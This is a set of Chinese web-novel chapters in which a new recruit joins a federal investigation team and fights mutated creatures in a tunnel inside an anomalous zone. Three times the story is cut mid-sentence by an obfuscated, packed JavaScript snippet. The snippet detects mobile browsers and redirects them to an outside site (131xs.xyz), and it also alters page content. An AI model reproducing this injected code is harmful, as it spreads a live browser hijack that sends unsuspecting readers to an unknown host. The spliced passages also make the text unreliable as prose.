李明蕊顿了顿,又说:“如果你没有做好准备,可以拒绝。” 辛来:......你们到底想招还是不想招啊!? 看出了辛来的疑惑,李明蕊说:“我们常年广招组员,负相区的幸存者通常是最佳人选,但联邦同时不希望一般市民社险,所以我们会提供拒绝的权利。” 辛来忽然好奇:“如果我拒绝,结果是什么?” “科研部会帮助你清除负相区与伪态生物相关的记忆,或者你可以选择缴纳记忆存留金、并签署《联邦异常状态保密协议》。” 没等辛来说话,李明蕊伸出了一根手指,眉飞色舞:“记忆存留金大概在这个数。” 这模样很显然是想让辛来猜一猜,辛来沉默了几秒,迎着李明蕊期待的目光问:“......一万?” “一百万邦币。” 辛来:“......” 钱么没有,命就一条。 辛来既没钱,也不想让别人在自己的脑袋上开刀——一个系统就够折磨她了,这要是再在开刀的时候多出来个什么系统补丁,她可能真的会疯掉。 “您之前说底薪三万?”辛来问。 李明蕊点头,满脸笑容:“后期绩效好的话,还可以升职哦。升职后底薪每月四千到十万不等。” 辛来埋头就在合约书上签了字。 合约书一共355页,里面包括但不限于一百多页《联邦救助保障条款》,两百多页《风险责任豁免协议》和一页《自愿参与声明条款》。 换句话说,合约的签署完全基于自愿,联邦将为因工作导致的受伤提供必要的医疗修复,但若合同工在任务中不幸死亡,联邦将不承担任何责任。 除了这些之外,后面还有两份需要额外签署的附录,一个《保密协议》,一个《合同终止协同书》。 “工作内容保密,工作性质保密。如果违反协议,或中途因自身原因决定终止合同,将处以最低十万邦罚款,并清除脑叶记忆。” 李明蕊满意地咧开了个巨大的笑容:“欢迎加入调查组,跟我去领装备吧。” 辛来一愣:“领装备?” “当然了。”李明蕊指了指合约书一百零一夜当中的一行字,“这里写了,‘由于联邦人手稀缺,负相区任务多且繁重,调查组不设培训期,签署合约后,合同工即刻上岗’。” 辛来盯着“即刻”两个字,慢吞吞抬头:“这‘即刻’……具体是多即刻?” “就现在。” “……” 完了,冲动是魔鬼,她不该这么冲动一点不看就签合同。 跑路的机会没了。 10. 蠕动隧道1 装备室在地下45层。 李明蕊在操作屏上划拉了几下,给辛来录了面容识别,青灰的防爆门缓缓打了开。 门一开,一阵金属撞击的“铛铛”声传了出来——装备室正当中站着个人,那人两手高举过头顶,正在费劲巴拉地往身上套一件银色胸甲。 胸甲卡在了脑袋上,不上不下地悬在半空,他扭着脖子试图找到合适的角度,铠甲的金属片相互摩擦,发出了痛苦的嗡鸣。 辛来目睹了全程,清楚地看到李明蕊的眼神从“无语”滑到了“烦躁”,最后变成了“放弃”。 她抬手就拉着辛来往另一边走:“来,我们往这边走——” “姐!蕊姐!救命!帮帮我!” 那没头怪一边大喊,一边高举着双手朝这边猛冲过来。 辛来刚反应过来,李明蕊猛地一扯她的胳膊,那人“砰”地一下扑了个狗啃泥,胸甲的搭扣受到冲击,“嘎嘣”一声松开了,露出里面一张黄毛青年泪眼汪汪的脸。 “你好无情!”他爬起来,揉着磕红的鼻子扁着嘴控诉,“你——咦?” 他一个打挺跳了起来,接着两眼放光地围着她转了一圈:“这就是你说的新人?小孩?” “跟你差不了几岁,别倚老卖老。”李明蕊翻了个白眼。 黄毛显然被怼惯了,根本没在意,只龇着大牙围着辛来又绕了一圈,伸出了手:“曾云安。” 秉着初来乍到得有礼貌的原则,辛来还是伸手跟他短暂地握了握:“......辛来。” 曾云安咧开了一口大白牙:“你眼睛真好看。” 辛来触电似的抽回了手。 李明蕊毫不客气地踹了曾云安一脚,曾云安“嗷”地一声跳了起来,委委屈屈地刚要诉苦,李明蕊踢了踢地上的胸甲,直接切断了他的话头:“捡起来穿好,马上出发。” “科研部把小宝拿去维修了,我一个人穿不进。”曾云安委屈,“防护铠能不能搞点弹性,太硬了,穿起来都像个铁罐头。” 李明蕊:“等你受伤了就嫌它不够硬了。” 曾云安立刻垮下了脸:“姐——您能不能盼着我点好啊!” 调查组的战斗服是高密度纳米纤维制成,既防穿透,又透气,能抵御负相区的辐射和腐蚀。 唯一的缺点就是——上身的防护铠实在是太难穿了。 以往装备室里有个机器人专门负责协助穿戴装备,但由于局域网内的另一个站台机器人因“某些原因”启动了自爆系统,所有型号的服务型机器人都被召回了科研部进行系统更新和线路检查。 “某些原因......” 辛来咂摸这四个字时,正好跟李明蕊对上了视线。 李明蕊摊了摊手。 辛来心虚低头,帮曾云安扣上了防护铠的搭扣。 除了战斗服和防护铠,进入负相区还需要佩戴防护面罩。 面罩只有巴掌大,放在下巴边缘时,它会根据佩戴者的头部结构拓展延伸,形成防毒面罩和护目眼镜,并与战斗服自动连接。 “负相区大多是高辐射区,这些装备能最大程度保护你。”李明蕊说着,帮辛来摁了下耳边的按钮。 “哔——” 辛来的视野内出现了一面光屏,克雷特的声音随即响起: “用户,辛来,欢迎登录调查组战斗系统。生命体征已同步,防护服系统运行正常。请时刻保持警惕,祝您好运。” 辛来吓了一跳,差点以为是脑子里的系统又跳出来作怪。 但克雷特的声音明显更有“人味儿”——虽然这么说也很奇怪——但联邦确实为了让克雷特更贴近日常生活,给他的声音加了抑扬顿挫的伪人处理。 “这次任务难度不高,初步判定为D级负相区,最基础的两人小队即可。”李明蕊说,“这次的任务由你和曾云安完成。” 她顿了顿,又说:“曾云安加入调查组四个月,虽然没参与过太多C级以上的任务,但是D级还是游刃有余的。” 曾云安郑重地拍了拍胸口:“交给我你放心!” 辛来对自己这份月薪三万的工作产生了深深地退缩感。 要是现在立刻再有一份保安的工作从天而降,她一定会马上辞职去当保安! 李明蕊划了几下墙上的电子屏,重金属墙面上下一分为二,里面伸出了只机械手,两根金属棍被送了出来。 辛来:“?” 就用棍子吗? 她还以为会有更高级点的东西,什么激光枪激光剑,或者—— “一下子就能把所有乱七八糟的东西一起轰成渣的火箭炮......” 头顶上方传来了与她心声重叠的话,辛来一回头就看到曾云安那双被护目镜放大的眼睛,正闪闪发光地盯着金属棍。 “我刚加入调查组的时候也这么想过。”曾云安满脸遗憾,“可惜负相区大多在公民生活区域内,如果武器使用不当,可能会引起社会恐慌。所以一般除非危险指数太高、或是任务地点远离一般居民,否则调查组不予发放强力武器。” “不过还好啦,这个刀也很好用,自重很轻,还削铁如泥。”他说着,手腕一抖,棍子的一端弹出一道光刃,得意地冲辛来展示了几下,“咻咻——” “再‘咻’扣钱。”李明蕊毫不留情。 曾云安:“对不起我错了姐。” 辛来有点怀疑这个人智商也不超过10,但可惜她没有证据。 至于这把折叠光刃是不是真的安全,辛来不予置否,毕竟她没用过也不会用......但联邦是真放心让一个纯新手在完全没有入职培训的情况下出任务啊!? 装备室里有特殊通道,通道中的电梯直通大楼后门。 调查组的任务也同样向联邦一般员工保密,所以在换上装备之后,会尽量避免出入正门。 车是无人驾驶的,辛来刚坐进去,安全带还没系,车门就关了上,一脚油门蹿了出去。 曾云安显然早有经验,刚坐进来就抓紧了扶手,还顺便拉了一把辛来。 “这辆车一直这样,习惯了就好。” 辛来:......这工作真的不考虑给个实习期吗?? 任务地点在港城区再往西一点的,但具体在哪,负相区覆盖范围有多少,克雷特并不能精准计算。 辛来“咦”了声:“不是和辐射程度有关的吗?” “是的,辐射是引发生物变异的最根本原因,但负相区的形成取决于生物的变异程度。”克雷特的机械音在公共频道里平稳地回应。 “负相区内是相对静止空间,我的信息库无法进入其中。而相对静止性会使得区域内时间段的资料被重复传出,这会扰乱我对当下情况的察觉与判定。因此,我只能通过排除法找出负相区的大致位置,并结合辐射指数,来粗略判定危险等级。” 说完这一长串话,车里陷入了诡异的沉默。 辛来沉默地看向曾云安。 曾云安沉默地看向车窗。 车窗上映出曾云安的脸,染成金色的头发在反光中格外明显,他脸上写了三个字:左眼“听”,右眼“懂”,脑门顶上一个“没”——合起来就是—— “没听懂。” 辛来:“……” 她没听懂就算了,为什么曾云安也没听懂啊? 他不是已经在调查组待了四个月了吗? 辛来还没来得及吐槽,就听曾云安理不直气不壮地来了一句:“我没问过。” 辛来:“……” ——您就这么两眼一模黑拿着刀就是干也不问原因啊!? 是不是这个叫“魔女神殿2185”的游戏压根不想给不重要的NPC们安排做事情的前因后果啊! 不过这话她没说出来。 克雷特刚才说的,辛来倒也不是真的没听懂,只是她实在不想面对她不小心得到的那个令人绝望的结论。 她硬着头皮确认道:“就是说,在负相区里,我们没办法联系到你?” 克雷特:“是的。调查组战斗系统仍可正常运行,但我并不能够进...入负......相空...ji ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943248|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..a——哔——” 一声尖锐的电流音从耳机里传来,辛来和曾云安同时打了个激灵。 克雷特的声音消失了。 ——信号中断了。 辛来猛地抬头。 后面空空荡荡,前面的车却堵得水泄不通,整个隧道像是塞满了金属方块的密闭管道,完全挪不了。 里面的鸣笛声此起彼伏,在狭长的隧道内疯狂回荡,辛来一时间竟分不清这到底是很多车在同时摁喇叭,还是回音造成的错觉。 曾云安整个人僵住:“别告诉我……任务点在这里。” 他声音里带着一种已经预见到未来自己会很倒霉的绝望感。 这条是港城区通往西街的隧道,就算是不堵车的情况下也要开二十分钟才能出去,中间的岔路四通八达,起码有五条分道。 地图倒是有,但如果要找母核,就太难了。 “杀了我吧。”曾云安说。 辛来瞥了曾云安一眼。 她刚才就觉得这条隧道不正常。 进隧道前分明没看见车,车载导航也没有显示任何异常路况,可开了不下十分钟却突然开始堵车。 这种情况之下,只有一种解释—— 辛来咽了口口水:“前面的车里......不会全是——” 她话没说完,耳机里忽地跳出了一道提示:【检测到辐射,已屏蔽辐射,作战服耐性,95%。】 “作战服还有耐性!?”辛来忍不住发出了质疑。 曾云安摊了摊手,隔着防护面罩看不清他的神情,但很明显,他脸上写着的也是极大的沮丧:“对啊,科研部到现在都没有研究出能绝对防护的装置,我们做得可是刀尖舔血的工作,他们也不知道努努力——” 刀尖舔血还只有月薪三万……呸,可不能这么想。 辛来忽然觉得自己堕落了。 两天前还在为生计奔波,现在竟然开始想涨工资了。 人的欲.望果然是无穷尽的! 辛来觉得自己不应该这么没羞没臊。 她下意识地握紧了手里的短棍,脑子里那股奇怪的危险预警又开始隐隐作响,并且越来越紧促、越来越吵—— “砰。” 有什么东西敲了敲车窗。 “砰——砰——砰。” 敲窗声一下接着一下,越来越重,越来越急促,那扇加厚的防弹玻璃竟被敲出了裂纹。 辛来猛地转头,透过车窗,她看到了一张扭曲的脸。 那张脸紧贴在玻璃上,皮肤泛着病态的绿色,仿佛被水泡过的皮革,表面布满了黏稠的液体。 它的眼睛巨大而凸出,瞳孔收缩成了一条细长的红线,看起来既像捕食前的爬行动物,又像监控摄像头的红外线。 裂开到耳根的嘴巴一张一合,露出锋利的金属牙齿,嘴角还挂着一丝半透明的黏液—— 曾云安骂了声:“我去,青蛙啊这是!” “砰——砰——砰!” 敲击声加重了。 玻璃上的裂纹像蛛网一样迅速扩散。 辛来死死盯着那张脸,指关节攥得发白。 ——它的手,或许已经不能叫做“手”了。 那东西的五指间长着蹼,指尖是金属爪,每一次敲击都带着机械般的精准和冷酷。 “开……门……” 它的声音低沉而沙哑,像是从嗓子眼里刮出来的铁片,湿漉漉的尾音拖得很长,在隧道里回响着。 “带我……离开……” 玻璃上的裂纹越来越多,越来越深,车窗发出不堪重负的“吱嘎”声。 然后,那东西忽然扭曲了一下。 它的嘴角裂得更开了,露出一个不符合人类生理结构的弧度,露出了一排锋利的金属牙齿。 它的瞳孔骤然扩大,像是一台生锈的摄像机,咔哒一声锁定了车内。 它笑了。 “不开门……” “那我就自己进来——” “啪嚓!” 车窗碎了。 11. 蠕动隧道2 辛来几乎是下意识地扬起短棍就捅了出去。 武器用得不熟练的后果就是——刀刃在关键时刻甩不出来。 但好在她力气够大,哪怕没伤着青蛙人,也直接把它捅飞了十几米,砸进一辆报废车的车窗,玻璃碎裂四溅。 “漂亮!”曾云安吹了声口哨,翻身跳上驾驶座,手指“啪”地摁下操作面板,“转换人工操作。” 车载音响“哔”了一声,机械音立刻响起:“已为您转换人工操作。” 曾云安:“坐稳!” 话音未落,他已经挂挡,方向盘一甩,整个车身瞬间横移 “砰——!” 后轮狠狠碾过地上的碎玻璃和金属零件,火星四溅。车尾横扫,直接撞上青蛙人。 青蛙人像被甩飞的破抹布一样砸向隧道顶,粘稠的绿色液体“噗”地一声炸开,溅得到处都是。 但它没有马上掉下来,而是黏在了天花板上,喉咙里发出湿漉漉的咕噜声,舌头一下一下地抽搐,拼命挣扎着剥离。 曾云安猛踩油门,倒车灯亮起,车子猛然加速后撤。 “再来再来!”他甩着方向盘,声音竟显得有些兴奋,之前那副不靠谱还有点智商不足的样子不复存在,就仿佛这辆车才是他的主场。 他迅速换挡,一脚油门踩到底,车子飞快倒车,随后再次向前冲去。 青蛙人刚从隧道顶上掉下来,还没来得及反应,就又被撞上。 “轰——!” 青蛙人刚挣脱天花板,还没落地,就再次被狠狠抽飞,“啪”地砸进前面的一辆废车里。 金属碎裂的声音在隧道内炸开,青蛙人的身子被生生挤进变形的车壳里,只剩下一张仍在抽搐的脸裸露在外,嘴巴一张一合,喃喃地重复着—— “带我离开……带我离开…带我离开!带我离开!!” 它的声音从呢喃变为高吼,辛来看着那张几乎快要被扭曲成两半的脸,一时间分不清胃里面的翻涌到底是因为刚刚的“过山车”,还是因为这张恶心的脸。 曾云安看起来却非常得意:“哥哥车技如何?” 已经没力气讲礼貌的辛来缓缓咽了口口水:“我快吐了......” “哎——”曾云安仿佛霜打的茄子,“我之前可是职业赛车手哎!” 辛来:......我管你是什么手啊!我真的快吐了!! 车头此刻冒出一股黑烟,驾驶舱里警报红灯刺啦刺啦地亮起。 曾云安看了眼仪表盘,语气一肃,踹开车门:“这车要废了,快下车!” 辛来紧随其后,两人迅速跳出车外,几乎在同一瞬间,车头“轰”地一声冒出一团火焰,引擎彻底报废。 隧道里弥漫着浓烟和刺鼻的焦糊味,但好在防护面罩可以过滤异味,鼻子勉强保住。 只是这条隧道实在诡异。前面看不着尽头,后面一片漆黑,三条单向车道堵得严严实实,却一点也看不清车里到底是活人,还是…… 辛来不敢想。 如果不是活人,那么伪态生物只会多不会少;如果是活人,他们的状态也好不到哪里去。 杜琛到现在还在医疗舱,每次醒来都叫着“饿”。李明蕊说,他那块被周三金触摸过的皮肤如果再拖久一点,可能就会开始生蛆。 杜琛才在负相区待了不到半小时。 而这个隧道里…… “李组长之前是不是说……咱们这是D级任务?”辛来转头问曾云安。 “对啊。”曾云安一脸坦然。 “D级任务就这样?”辛来面无表情,“那S级任务是不是要跟星球炸弹打架?” 曾云安顿了一下,想了想,然后认真摇了摇头:“我还没出过S级任务呢。” 辛来深吸了一口气:......就不该多嘴这么一问。 “那作战系统能监测到伪态生物的匹数吗?”辛来不死心,又问了一嘴。 曾云安:“不能,但它能检测到空气中的辐射指数。” 见辛来沉默,曾云安的语气愈发不确信起来:“起码......辐射越高,匹数越多,而当辐射超标,超过红色警示线时,就是靠近’核‘了。” 辛来有一瞬间挺佩服自己签下合同时的果敢。 艺高人胆大。 超越极限。 哈哈,不愧是设定粗糙的NPC。 【检测到辐射,已屏蔽辐射,作战服耐性,93%。】 作战服的提示音冷不丁地在耳机中响起,辛来赶忙收回了飘忽的思维,抬头看向隧道四周。 前方的车堆里开始出现响动。 “哐——!” 一声巨响从旁边传来,第三条道的车门被从里面凿了开。从车里爬出来的,是个人——如果还能算“人”的话。 它的皮肤已经彻底腐烂,黏稠的黑色液体从裸露的肌肉组织间不断渗出,黑红色的肉块像被泡软了的棉絮一样吊挂在骨架上。 它的脚踩在地面上,每走一步,地上都会留下一滩冒着气泡的泥浆,像是被酸液融蚀的痕迹。 【检测到辐射,已屏蔽辐射,作战服耐性,90%。】 蓝牙耳机传来了不合时宜的提示音,很显然曾云安也听到了同样的内容。 他低声咒骂了一句,手伸进了作战口袋:“我喊三二一,我们一起跑!三、二——” “砰!!” 他话音未落,那黑红色的伪态生物已经朝前冲来。 “一!跑!”曾云安大喊,另一只手已经掏出了电弧脉冲瓶。 闪着蓝光的圆柱形容器内装满了高压电流,他毫不犹豫地将电弧脉冲瓶朝淤泥怪扔去。 瓶子在空中划出一道弧线,落地时“滋啦”一声,一道刺眼的蓝色电弧从瓶子中爆发出来,瞬间将淤泥怪包裹其中。 黑色的泥浆在高压电流下剧烈沸腾,发出“嘶嘶嘶”的气泡爆裂声。 淤泥怪的整个身体开始崩溃,像是被高温烧熔的蜡像,可它仍然在往前爬行,已经腐烂到裸露出的手臂伸了过来,指尖的腐肉被电弧一层层烤焦脱落。 它喉咙里发出呜呜呜的低沉哀嚎——那声音像是婴儿的哭声,但又带着难以形容的空洞感,震得脑仁发疼。 作战目镜中出现了隧道地图,虽然简陋,但红绿点的标记清晰可见——五百米处,有紧急逃生通道。 五百米不远,理论上全力冲刺只要一分多钟。 但刚才的动静已经唤醒了废车中的伪态生物,车门一个接一个地被撞开,黏稠的影子慢慢地从车里蠕动爬出。 作战口袋里东西精简实用却不多,电弧脉冲瓶每人只有三枚,根本无法抵抗隧道里的“千军万马”。 辛来反手又刺穿了一只淤泥一般的伪态,曾云安忙着躲闪另一只伪态的攻击,还抽空给她鼓了个掌:“牛哇!” 辛来头皮都开始发麻:“能别提‘蛙’吗......” 逃生口幽绿的光在前面闪烁,辛来和曾云安加快了脚步,但就在这时,一阵窸窣声从身后传来。 “啪嗒——啪嗒——” ——什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943249|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西的跳跃声。 像是湿滑的蹼踩在地面上,又带着金属零件的摩擦声,像是机械与生物的结合体正在快速接近。 辛来心中一凛,脑海中立刻浮现出刚才那只青蛙人的模样。 “别回头,继续跑!”曾云安一边跑一边从腕甲中扯出一根细长的数据线,线头闪烁着微弱的蓝光。 两人冲到逃生通道门前。 门上的金属已经锈迹斑斑,门锁是一个老式的电子面板,屏幕上布满了裂纹。曾云安迅速将数据线插入面板的接口,手指在腕表上飞快地操作着。 “多久?”辛来背对着他,紧盯着隧道的黑暗深处。 “30秒。” 啪嗒——啪嗒——啪嗒—— 那声音越来越近,仿佛从黑暗中钻出来的东西,带着湿润的腥气。 “3秒!马上就好!”曾云安的额头上渗出了冷汗。 “哔——” 门锁转绿! “开了!” 辛来和曾云安冲进通道,就在这时,辛来呼吸一滞,危险警示响彻脑海。 就在门即将关上的瞬间,一只湿滑的、布满黏液的手猛地从门缝中伸了进来,尖锐的金属爪扣住了门框。 “带我……离开……” 是刚才的青蛙人! “该死!”曾云安咒骂一声,用力抵住门,但那只手的力气大得惊人,门缝被一点点撑开。 青蛙人的脸从门缝中挤了进来,巨大的眼睛泛着红光,嘴巴裂开到耳根,露出锋利的金属牙齿。 “带我……离开……”它的声音低沉而沙哑,带着一种湿漉漉的回音。 “带我离开……” 辛来没有犹豫,一棍刺向青蛙人的眼睛。刀刃弹出,发出“咔嗒”一声轻响,精准地刺入了它的眼球。 “噗嗤!” 绿色的□□和破碎的金属零件混合在一起,从伤口喷涌而出,扑头盖脸地溅了一身。 辛来再又一刀,直直从上而下划去。青蛙人发出一声尖锐的嘶吼,手缩了回去。 辛来狠狠拍在门上,铁门直接凹了进去,“哐当”一声合了上,流着脓的脚蹼直接被夹断,整根落在门内。 “上锁!”辛来大喊。 曾云安瞬间回神,落锁的同时连接上了内部的面板,电子屏转瞬间便亮起了红光,紧接着,门锁“咔哒”一声,重新锁了死。 门外传来一阵低沉的撞击声,没过几下,声音停了。 作战服很好地调节了体温,隔绝了空气中的尘灰,却没法让心率下去。两人靠在墙上,大口喘着气。 “暂时安全了。”曾云安低声说道,他的目光仍然紧盯着那扇门,手中的腕表屏幕依然闪烁着微弱的蓝光。 辛来没有说话。 她的目光落在地上的碎片上。 刚才那些溅出来的金属零件,有些滚到了门内。而那些零件里面,有一颗格外突兀的纽扣。 纽扣很旧,但有着好看的花纹,看起来像是被人盘完了很久,表面都已经光滑得有些包浆了。 曾云安注意到辛来的沉默,好奇问:“怎么了?” 辛来伸手捡起了那枚纽扣,正要说话,忽地眼前白光一闪,额头突然一阵剧痛,像是无数根针同时扎进了她的太阳穴。 【检测到辐射,已屏蔽辐射,作战服耐性,86%。】 〖警告:精神屏障受损〗 〖精神力残留值:9.9/[100]〗 【检测到辐射,已屏蔽辐射,作战服耐性,85%。】 12. 蠕动隧道3 “小小蝌蚪水里游,尾巴长长不见头。” “唱个屁,去把饭做了。” “你弟学费不够了,打点钱回来。” “纽扣呢?给你弟校服缝上。” “小小蝌蚪水里游,尾巴长长不见头。” “唱个屁!你弟眼睛都那样了!还唱!” “还不找工作吗?家里已经要吃不起饭了!” “小小蝌蚪水里游,尾巴长长——嘿嘿,不见头。” “水里怎么有虫子?” “黄若南!你怎么淘的米?” “哎哟!我的牙!我的牙!!” 〖精神力残留值:9.8/[100]〗 “......来、” “小小蝌蚪水里游,尾巴长长不见头。忽然一夜变了样,四条腿儿爬上岸。” “姐姐,妈妈的样子变得好奇怪。” “......辛......” “水里游,岸上跳,谁家孩子不见了?” “姐姐,弟弟的样子也变得好奇怪。” 〖精神力残留值:9.7/[100]〗 “水里游,岸上跳,谁家孩子——不见了?” “我的脸...我的脸!我的手!!啊啊啊——” 【检测到辐射,已屏蔽辐射,作战服耐性,79%。】 “辛来......” 〖精神力残留值:9.5/[100]〗 〖精神抗性已生效〗 〖精神力残留值:9.5/[100〗 “如南,秋南,我们逃吧。” “逃吧。” “逃......” “......他追上来了...他追上来了!” “醒醒!” 忽地,脸上一阵刺痛。 意识像是被猛然从深水里拽了出来,四周的声音依旧是闷闷的、像水下的气泡音。 “辛来!醒醒!!” 曾云安的声音透过耳机,一点点变得清晰起来。 辛来睁开眼,视线有一瞬间的模糊,眼前的场景晃了晃,曾云安的脸在她眼前放大,他的嘴唇开合了两次,才终于被大脑解码成一句完整的话。 “你没事吧?刚才怎么叫都叫不醒你。” 辛来想揉太阳穴,手都举起来了,才发现手跟脸还隔着层防护面罩。 她凝固了两秒,深吸了口气,放弃了这个没用的行为:“没事……只是看到了一些奇怪的东西。” “奇怪的东西?”曾云安皱了皱眉,神色难得严肃了起来,“什么奇怪的东西?” 辛来沉默了一会儿,却不知道该怎么开口。 刚才在脑海里飞快闪现过去的画面里,她仿佛是那些画面的主人。她的手上生满了冻疮,老茧一层叠着一层——这不是她自己的手。 这并不是重点。 重点是那场景,像是一百多年前的乡村。 “我看到了一些......土房子,绿草......绿草如茵,有阳光洒在地上,空气里充满着泥土的味道——” “绿草?”曾云安一愣,“这年头哪儿来的绿草?” 辛来也感到难以置信:“对啊,哪儿来的绿草。” 未历2185年,天空被厚重的灰霾遮蔽,阳光几乎无法穿透。 她生于这片城市,却从未见过真正的“绿色”。 辛来见过废弃的工业区,见过高楼下沉积的污水,见过夜晚比白天还要明亮的霓虹灯—— 但她从未见过真正的、泥土的颜色。 绿色的植物? 那只是富人区温室里的奢侈品,普通人只能在资料库里看到它们的影像。 空气里满是机油、金属和废气的味道,上哪来的那成片成片的庄稼田和绿地? 可她刚才看见的,不是影像。 她看见了风吹过那片草地,看见了阳光在泥土上留下的光影,看见了—— 真正存在过的“过去”。 曾云安的目光落在辛来手中的纽扣上,眉头皱得更紧了:“你确定不是幻觉?那些画面……可能是精神力残留的影响。” 辛来也不确定。 那些画面太真实了……还有那些人。 她们说的话,做的事,都像是真实发生过的。 黄若南,黄如南,黄秋南,黄恩惠。 辛来甚至能记得起他们的名字。 克雷特不在,负相区内也没信号,辛来没办法查询他们的名字。那枚纽扣还在手里待着,刚才破碎的画面却不再出现。 作战服耐性降到了79%,脑内系统也显示精神值受损,精神值剩余9.6——还好,现在不再下降了。 曾云安还想再问什么,但就在这时,通道远处传来了一阵脚步声。 “啪嗒——啪嗒——” 曾云安的手摸向了腰间的武器。 “有东西来了。”他低声说道。 辛来握紧了手中的短棍,脑中的警铃开始微微作响。 逃生通道很长,几乎没有光亮,仿佛一条沉入地底的废弃隧道。 墙壁上的灯已坏得七七八八,仅剩几盏发着幽幽的红光,忽明忽暗。 墙皮剥落,裸露的钢筋布满锈蚀,地面上散落着碎石、腐烂的纸屑,以及一些看不出年代的铁渣。 空气湿冷。 辛来屏住呼吸,“啪嗒——啪嗒——”,那个声音依旧缓慢靠近。 她正想要细听,曾云安忽然倒吸了一口冷气。 “那边……”他僵硬地抬起下巴,示意辛来看向通道深处。 辛来顺着他的目光看去,下一秒,她几乎以为自己的眼睛在欺骗自己—— 通道尽头,散落着一地的白骨。 不、不止一具。 整个甬道里,横七竖八地堆满了人的尸骨。 有整具白骨,有残碎的肢骨,还有风化不完全、带着暗色皮肉的尸体。破碎的衣服套在尸骨上,落满了灰尘和泥垢。 甚至在他们脚边,还有一颗碎了一半的头颅,隐约能辨认出人类的五官。 辛来:“......” ……他大爷的。 人心不足蛇吞象,她就不该贪那区区三万块月薪。 哪怕她是NPC也不能。 辛来默默地往旁边挪了半步。 她现在是不是还得庆幸一下这些尸体都是风化到死的不能再死了的状态,否则说不定迎接她的就不是尸骨残骸,而是一只只伪态生物了? “啪嗒——啪嗒——啪嗒——” 脚步声在一点点靠近。 那不像是人类的脚步。 太轻了,像是什么湿滑的东西在地面上挪动,踩着那些腐烂的残渣发出令人牙酸的“咔哒”声,沉闷、微黏、诡异……它离得越来越近了。 曾云安的手已经摸向了腰间的光刃,表情难得严肃:“准备战斗。” 辛来一愣:“直接打吗?” “什么......?”曾云安没听明白,“不直接打还能干什么?” “打得过吗?”辛来对自己产生了质疑。 “打不过就......硬打啊。”曾云安说得理所当然。 辛来:“……?” 这个人脑子里是没有“战术”这两个字吗? 还是说联邦不培训啊——不对,联邦当然不培训。 辛来:“......可是如果遇到搞不定的呢?如果在找到核之前就被弄死了呢?” “那就死了呗。”曾云安龇牙笑了笑,“反正我们这行,死亡率99%。” ……这么容易死还月薪三万啊!?? 这真不是她得寸进尺啊!可是...可是这么容易死还只给三万底薪啊!? “但也还好吧,你看合同了嘛?调查组合同工如意外死亡,联邦不负任何责任,但可提供死亡补偿金五十万邦币。”曾云安龇起大牙傻乐了起来。 辛来:又不是你花。 但她没说。 如果可以的话,辛来也不是很想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943250|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那没办法用上的五十万。 她快速环顾四周,尸骨、通道、黑暗、未知的脚步声、未探索的负相世界……一股不安感渐渐笼罩她的神经。 一个完全没有过任何打架经验并且没接受过入职培训的新兵蛋子,一个只参与过D级和寥寥无几的几个C级任务的傻子——对不起但是——对、确实是有点傻。 两人的手上都只有一把虽然削铁如泥但仍然是冷兵器的武器,电弧脉冲瓶拢共剩五瓶,其余零配件零零总总加起来可以对抗三到五只伪态生物。 作战服耐性会下降并消失,母核地点无法侦测也不知道在哪里。 身后的隧道里肉眼可见有超过五十只以上的伪态生物,逃生通道内有几只也是未知。 负相区内没有信号,无法联系外界支援,连克雷特都没办法监控。 这种情况之下,要怎么打? 进化成超人?觉醒超能力? 比起这些不切实际的幻想,不如想想这个“游戏”有没有存档点更靠谱些。 尽管依旧觉得那个所谓的“危险直觉”并不是完全靠谱,但眼下它确实没有太大动静——来的东西可能短时间内不会直接攻击。 只是辛来也不确定这是不是来者的“狩猎”方式。 有些捕食者不会急于动手,而是先观察猎物的反应,再决定如何行动。 “……如果战斗力不够,那我们能不能试试伪装成它们的同类,顺着它们的‘规则’往下走?”辛来突然开口。 曾云安露出了一个“你疯了吧”的表情:“那些东西可没有任何理智,怎么会把我们当做同类?” “可刚才克雷特不是说了吗,负相世界里的时间,是相对静止的。”辛来低声道。 她想起了之前在发电厂遇到的周三金。 周三金没有察觉任何异常,甚至把她当成了死去的王智,和她一同进入面试点,直到杜琛破坏了这一切。 如果负相世界的一切都处于固定的状态呢? 如果世界的所有事物都必须“配平”呢? “如果有‘多余的存在’,那么这个世界就会疯狂地攻击它,试图‘修正’错误。” “但如果这个世界少了一个存在,那么‘空缺’就会被自动补足,直到这一切被戳破。” 曾云安听得头皮发麻:“你的意思是……” “只要我们别让它们察觉,我们就是‘存在’的一部分。” 脚步声越来越近,湿滑的爬行声在通道中回荡,好像有黏稠的东西正在缓缓靠近。 昏暗的灯光下,一个扭曲的身影出现在转角处。 